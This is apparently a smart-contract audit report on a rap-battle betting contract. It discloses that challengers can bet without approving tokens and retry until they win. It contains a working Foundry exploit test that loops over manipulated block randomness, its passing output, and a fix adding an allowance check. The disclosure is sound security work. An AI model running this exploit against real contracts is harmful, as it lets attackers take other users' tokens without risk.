Summary
Any user can win a battle by randomly testing, without risking their tokens.
Vulnerability Details
In a normal situation, if a challenger enters the battle and loses, his tokens are transferred to the defender, unless hi has not previously approved the spending by the battle contract, in which case the transaction reverts. However, if the challenger wins the battle, the defender's tokens will be transferred to the challenger. This allows the challenger to fight without the risk of losing.
In this test, the defender prepares a battle, and the challenger attempts to enter the battle repeatedly until winning, without making any prior approval.
function testChallengerWinsByNotApproving(uint256 blockNumber) public twoSkilledRappers {
uint256 initialChallengerBalance = cred.balanceOf(challenger);
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
vm.assume(blockNumber < type(uint256).max / 12);
vm.roll(blockNumber);
vm.warp(blockNumber * 12);
uint256 loop = 0;
do {
loop++;
vm.roll(block.number + 1);
vm.warp(block.timestamp + 12);
vm.prevrandao(keccak256(abi.encodePacked(block.number)));
vm.prank(challenger);
try rapBattle.goOnStageOrBattle(1, 3) {
break;
}
catch (bytes memory) {
continue;
}
} while (loop < 100);
console.log("loops", loop);
uint256 finalChallengerBalance = cred.balanceOf(challenger);
assertEq(finalChallengerBalance, initialChallengerBalance + 3);
}
Test passes
Ran 1 test for test/OneShotTestAudit.t.sol:RapBattleTest
[PASS] testChallengerWinsByNotApproving(uint256) (runs: 256, μ: 628200, ~: 616944)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.76s
Impact
An attacker can unfairly win a battle without risking his funds.
Tools Used
Foundry, Manual review
Recommendations
Verify that the challenger has approved his tokens before initiating the battle, so that in case of not doing so, it always reverts.
function _battle(uint256 _tokenId, uint256 _credBet) internal {
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
+ require(credToken.allowance(msg.sender, address(this)) >= _credBet, "RapBattle: cred not approved");
uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
uint256 challengerRapperSkill = getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 totalPrize = defenderBet + _credBet;
}```